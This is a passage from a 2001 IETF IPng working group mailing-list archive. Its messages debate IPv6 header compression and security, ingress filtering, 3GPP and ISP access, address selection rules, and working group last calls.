(8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBNAfj3024314 for ipng-dist; Tue, 11 Dec 2001 15:10:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBNAcvU024307 for ; Tue, 11 Dec 2001 15:10:38 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA04195 for ; Tue, 11 Dec 2001 15:10:38 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA04964 for ; Tue, 11 Dec 2001 16:10:33 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBBNAPI32238; Wed, 12 Dec 2001 00:10:25 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id AAA16810; Wed, 12 Dec 2001 00:10:25 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBBNAPD22578; Wed, 12 Dec 2001 00:10:25 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112112310.fBBNAPD22578@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Tue, 11 Dec 2001 20:59:46 +0200. Date: Wed, 12 Dec 2001 00:10:25 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > This is a problem that affects all filtering, not just ingress (for source > address). > > => we speak about the source address hiding by reflection in DDoS using HAO, > i.e. how to use HAO to foul the ingress filtering used as a protection > against DDoS, don't we ? Routing Header also brings up issues that would need state in the firewall, in a similar fashion. => for routing headers one has the choice between to protect against abuses in the firewall (symmetrical to home address options) or in mobiles nodes so this belongs to the second order. Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 15:34:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBNYcvU024465 for ; Tue, 11 Dec 2001 15:34:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBNYchc024464 for ipng-dist; Tue, 11 Dec 2001 15:34:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBNYZvU024457 for ; Tue, 11 Dec 2001 15:34:35 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA20788 for ; Tue, 11 Dec 2001 15:34:35 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA11370 for ; Tue, 11 Dec 2001 16:35:11 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBBNYMI06629; Wed, 12 Dec 2001 00:34:22 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id AAA17153; Wed, 12 Dec 2001 00:34:23 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBBNYMD22633; Wed, 12 Dec 2001 00:34:22 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112112334.fBBNYMD22633@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Margaret Wasserman cc: ipng@sunroof.eng.sun.com Subject: Re: draft-wasserman-3gpp-advice-00.txt In-reply-to: Your message of Tue, 11 Dec 2001 14:56:49 EST. <4.2.2.20011211144934.01fb1920@mail.windriver.com> Date: Wed, 12 Dec 2001 00:34:22 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I'm not sure that I understand that second issue that you raised in your response to the IPv6-3GPP document: At 08:56 AM 12/4/01 , Francis Dupont wrote: >The second concern is a bit different, GGSNs will be the point of >connection to an IP world (the Internet, an Intranet) only if the >regulation bodies are not involved. We already know the vertical >integration in a walled garden dream of telecom operators but >fortunately regulation bodies (like ART in France) are here in >order to require a real open market for IP services. This is not >new and this already happened for ADSL, so I believe we'll get >similar solutions. >If the point of connection to IP is a NAS (Network Access Server) >of an ISP, Are you saying that the regulating bodies in France will require 3GPP providers to go through existing ISPs to get their Internet service? => the French regulating body and several others require that customers can get their Internet service from existing ISPs, not only from the ISP(s) of the GPRS provider(s). If so, how does this change anything? => the point of connection to the Internet is not the GGSN, but is a Network Access Server of an ISP. As ISPs need network access control (AAA with a stress on the last A :-), the stupid already used solution is the ADSL one (ADSL has the same requirement for openness), i.e. PPP. In our perfect world, 3GPP nodes will be running Internet applications over IPv6. => it doesn't matter: ISPs will choice how they provide Internet services and if they really want to provide a good service (and keep their customers) they should provide IPv6 with a transition mechanism for legacy IPv4. Even if IPv4 connectivity is ultimately provided by an existing ISP, the IPv6 traffic will need to be routed through the GGSN and a transition mechanism (NAT-PT or 6-over-4) will be required to send traffic over the IPv4 Internet. The choice of transition mechanism should probably depend on whether the ultimate destination is an IPv4 node, or an IPv6 node (such as another 3GPP-attached device). => what you decribe is "vertical integration", i.e. the dream of telephants. But they is a pressure to the other (correct) way from both customers (they won't understand to get less than ADSL for far more money) and regulation bodies. I can try to find the "WAP lock" story in English (an attempt to do vertical integration (aka rempant monopoly) with WAP, the result was large fines and a very small market). >the PDP type of choice should be PPP, just because >PPP/Radius provides a good network access control. Note that >this solves: > - the UE issue because PPP is a very well known protocol > - the network access control issue because PPP has good > authentication-authorization-accounting features (PS: > IP network access control, the radio network access control > should be the job of the SIM based stuff. They have to be > different because the operator and the ISP are not the same entity) > - the GGSN routing issue because if addresses are allocated by ISPs, > the GGSN has to manage a zillion of host (or /64) routes. > - the GGSN to ISP attachement (Gi) because there is no reason to > not reuse the current ADSL solution (ATM (sic!) to BASs). Are you suggesting that the 3GPP should replace the current PDP context concept with PPP? => no, PPP is already in the concept (there are three PDP context types: IPv4, IPv6 and PPP). This would be a substantial architectural change to 3GPP, and is outside of the scope of our document. => I just suggest what the assumptions about what shall happen need more analysis, i.e. to make confusion between telephant dreams and the future (:-). Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 15:48:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBNmivU024487 for ; Tue, 11 Dec 2001 15:48:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBNmiHb024486 for ipng-dist; Tue, 11 Dec 2001 15:48:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBNmevU024479 for ; Tue, 11 Dec 2001 15:48:40 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA01658 for ; Tue, 11 Dec 2001 15:48:32 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA22450 for ; Tue, 11 Dec 2001 16:48:27 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBBNm7I08890; Wed, 12 Dec 2001 00:48:07 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id AAA17328; Wed, 12 Dec 2001 00:48:08 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBBNm7D22676; Wed, 12 Dec 2001 00:48:08 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112112348.fBBNm7D22676@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Michael Thomas cc: Pekka Savola , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Tue, 11 Dec 2001 12:47:19 PST. <15382.28887.341374.219092@thomasm-u1.cisco.com> Date: Wed, 12 Dec 2001 00:48:07 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > => I dislike all firewalls, but this problem is a threat against > ingress filtering so an ingress filtering solution is better. I don't think I agree. Ingress filtering was adopted primarily because it could be done relatively easily through RPF checks. It's still pretty much an architectural hack though, and what we are seeing here is another manifestation of RFP-break-with-assymmetric-routes, IMO. => my idea is more ingress filtering by firewalls at the egress points of a site than ingress filtering based on RPF check inside upstream ISPs as it seems to be your idea. Or from another point of view I believe more in a responsability of behaviors of inside nodes (i.e. using firewalls to protect the Internet from our users) than in a smart sanity check (RPF ingress filtering). Bout of course this is IMHO (:-)... Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 15:59:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBNxfvU024534 for ; Tue, 11 Dec 2001 15:59:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBNxf2O024532 for ipng-dist; Tue, 11 Dec 2001 15:59:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBNxZvU024517 for ; Tue, 11 Dec 2001 15:59:35 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA25945 for ; Tue, 11 Dec 2001 15:59:35 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA09605 for ; Tue, 11 Dec 2001 15:59:34 -0800 (PST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBBNxXJ23177 for ; Wed, 12 Dec 2001 00:59:33 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Wed Dec 12 00:59:33 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Wed, 12 Dec 2001 00:51:08 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C126@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'mobile-ip@sunroof.eng.sun.com'" Cc: ipng@sunroof.eng.sun.com Subject: Mobile nets meeting Date: Wed, 12 Dec 2001 00:52:11 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Folks, Sorry for the cross posting. For those of you who expressed interest in attending the monet bar bof, here is the info: Day: Wednesday Time 5.30 - 7.00 pm Room name: Fountainblue (3rd floor at Grand America) Please note that the room is quite small and is based on the number of people who expressed interest. Cheers, Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 16:43:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC0hUvU024936 for ; Tue, 11 Dec 2001 16:43:30 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBC0hUKi024935 for ipng-dist; Tue, 11 Dec 2001 16:43:30 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC0hQvU024928 for ; Tue, 11 Dec 2001 16:43:26 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA14487 for ; Tue, 11 Dec 2001 16:43:27 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA01580 for ; Tue, 11 Dec 2001 17:43:08 -0700 (MST) Received: from localhost ([3ffe:507:1ff:1:c173:4bec:4a01:e34d]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBC0hG395608; Wed, 12 Dec 2001 09:43:20 +0900 (JST) Date: Wed, 12 Dec 2001 09:43:13 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: richdr@microsoft.com Cc: ipng@sunroof.eng.sun.com Subject: longest matching in default address selection User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 34 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I just implemented the destination address ordering described in draft-ietf-ipngwg-default-addr-select-06.txt, and have another comment about the longest matching. The draft has the following text: Rule 9: Use longest matching prefix. If CommonPrefixLen(DA, Source(DA)) > CommonPrefixLen(DB, Source(DB)), then sort DA before DB. Similarly, if CommonPrefixLen(DA, Source(DA)) < CommonPrefixLen(DB, Source(DB)), then sort DB before DA. It is not clear to me how we should compare the match length when the address family of A and the family of B. If we converted IPv4 addresses to IPv4-mapped IPv6 addresses before the comparison, and the policy table did not prefer a particular address family, then the combination of IPv4 src and dst would tend to match longer than the IPv6 src and dst (because the former would match at least 96 bits). In any event, I don't see it meaningful to compare match lengths between different families of addresses. So, I'd propose to revise the text like this: Rule 9: Use longest matching prefix. When the address families of DA and DB are same, if CommonPrefixLen(DA, Source(DA)) > CommonPrefixLen(DB, Source(DB)), then sort DA before DB. Similarly, if CommonPrefixLen(DA, Source(DA)) < CommonPrefixLen(DB, Source(DB)), then sort DB before DA. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 19:42:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC3g6vU025569 for ; Tue, 11 Dec 2001 19:42:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBC3g6TM025568 for ipng-dist; Tue, 11 Dec 2001 19:42:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC3g3vU025561 for ; Tue, 11 Dec 2001 19:42:03 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA24879 for ; Tue, 11 Dec 2001 19:42:04 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA11104 for ; Tue, 11 Dec 2001 20:42:03 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id TAA00332; Tue, 11 Dec 2001 19:41:58 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBC3fuM01648; Tue, 11 Dec 2001 19:41:56 -0800 X-mProtect: Tue, 11 Dec 2001 19:41:56 -0800 Nokia Silicon Valley Messaging Protection Received: from 200-203-131-12.bellhead.com (12.131.203.200, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpdu9onU1; Tue, 11 Dec 2001 19:41:54 PST Message-Id: <4.3.2.7.2.20011211164636.0238f498@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 11 Dec 2001 19:41:36 -0800 To: ipng@sunroof.eng.sun.com From: Bob Hinden Subject: IPv6 w.g. Last Call on "ICMPv6 for IPv6" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a IPv6 working group last call for comments on advancing the following document as an Draft Standard: Title : Internet Control Message Protocol (ICMPv6)for the Internet Protocol Version 6 (IPv6) Specification Author(s) : A. Conta, S. Deering Filename : draft-ietf-ipngwg-icmp-v3-02.txt Pages : 23 Date : 29-Nov-01 This document will replace RFC2463 that is currently at Draft Standard. Appendix A summarizes the changes from RFC2463. Please send substantive comments to the ipng mailing list, and minor editorial comments to the authors. This last call period will end two weeks from today on December 26, 2001. Bob Hinden / Steve Deering -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 19:53:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC3ravU025599 for ; Tue, 11 Dec 2001 19:53:37 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBC3raMN025598 for ipng-dist; Tue, 11 Dec 2001 19:53:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC3rXvU025591 for ; Tue, 11 Dec 2001 19:53:33 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA02079 for ; Tue, 11 Dec 2001 19:53:34 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA29245 for ; Tue, 11 Dec 2001 19:53:34 -0800 (PST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id TAA00731; Tue, 11 Dec 2001 19:53:33 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBC3rXO09238; Tue, 11 Dec 2001 19:53:33 -0800 X-mProtect: Tue, 11 Dec 2001 19:53:33 -0800 Nokia Silicon Valley Messaging Protection Received: from 200-203-131-12.bellhead.com (12.131.203.200, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpdmaISEb; Tue, 11 Dec 2001 19:53:30 PST Message-Id: <4.3.2.7.2.20011211194220.01dfc908@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 11 Dec 2001 19:52:53 -0800 To: ipng@sunroof.eng.sun.com From: Bob Hinden Subject: IPv6 w.g. Last Call on "Basic Socket Interface Extensions for IPv6" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a IPv6 working group last call for comments on advancing the following document as an Informational RFC: Title : Basic Socket Interface Extensions for IPv6 Author(s) : R. Gilligan, S. Thomson, J. Bound, W. Stevens Filename : draft-ietf-ipngwg-rfc2553bis-04.txt Pages : 32 Date : 27-Nov-01 This document will replace RFC2553 that is currently an Informational RFC. The changes from RFC2553 are listed on pages 29 and 30 of the draft. Please send substantive comments to the ipng mailing list, and minor editorial comments to the authors. This last call period will end two weeks from today on December 26, 2001. Bob Hinden / Steve Deering -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 21:24:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC5OBvU025972 for ; Tue, 11 Dec 2001 21:24:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBC5OBA0025971 for ipng-dist; Tue, 11 Dec 2001 21:24:11 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC5O8vU025964 for ; Tue, 11 Dec 2001 21:24:08 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA23588 for ; Tue, 11 Dec 2001 21:24:09 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA24613 for ; Tue, 11 Dec 2001 21:24:08 -0800 (PST) Received: from mira-sjcd-4.cisco.com (mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBC5O8p00919; Tue, 11 Dec 2001 21:24:08 -0800 (PST) Received: from [12.131.200.149] (ssh-sj1.cisco.com [171.68.225.134]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id ACC46134; Tue, 11 Dec 2001 21:23:56 -0800 (PST) Mime-Version: 1.0 X-Sender: deering@127.0.0.1 Message-Id: In-Reply-To: References: Date: Tue, 11 Dec 2001 21:24:04 -0800 To: "Christian Huitema" From: Steve Deering Subject: Re: Security & draft-deering-ipv6-encap-addr-deletion-00.txt Cc: Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 9:44 AM -0800 12/11/01, Christian Huitema wrote: >Now, with the compression, we would in many cases be able to "compress" >the source address, resulting in: > ><-- outer IPv6 header -> <-- inner IPv6 packet, encrypted -> >+----+--------+--------+------------+----+--------+ +------------ >| | | | | | | | >|oNAF| oSRC | oDEST | ESP header |iNAF| iDEST | | iPAYLOAD >| | | | | | | | >+----+--------+--------+------------+----+--------+ +------------ > >The big difference between the two is the iSRC is not protected by the >encryption, but recomposed after decryption by copying oSRC -- which is >not protected. This would open an attack avenue for a hacker or, heavens >forbids, a NAT... OK, I think I get it. If you used AH in the outer header to assure the authenticity of oSRC, you could then safely put it back into the reconstructed inner header. But that would add the overhead of an AH header, which would reduce or eliminate any benefit from the compression. There may be other zero-extra-overhead solutions, but I need to think about it some more... Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 01:29:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC9TqvU026325 for ; Wed, 12 Dec 2001 01:29:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBC9Tq0n026324 for ipng-dist; Wed, 12 Dec 2001 01:29:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC9TnvU026317 for ; Wed, 12 Dec 2001 01:29:49 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA04565; Wed, 12 Dec 2001 01:29:49 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA17531; Wed, 12 Dec 2001 01:29:46 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBC9V9J02185; Wed, 12 Dec 2001 16:31:09 +0700 (ICT) From: Robert Elz To: Erik Nordmark cc: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 12 Dec 2001 16:31:09 +0700 Message-ID: 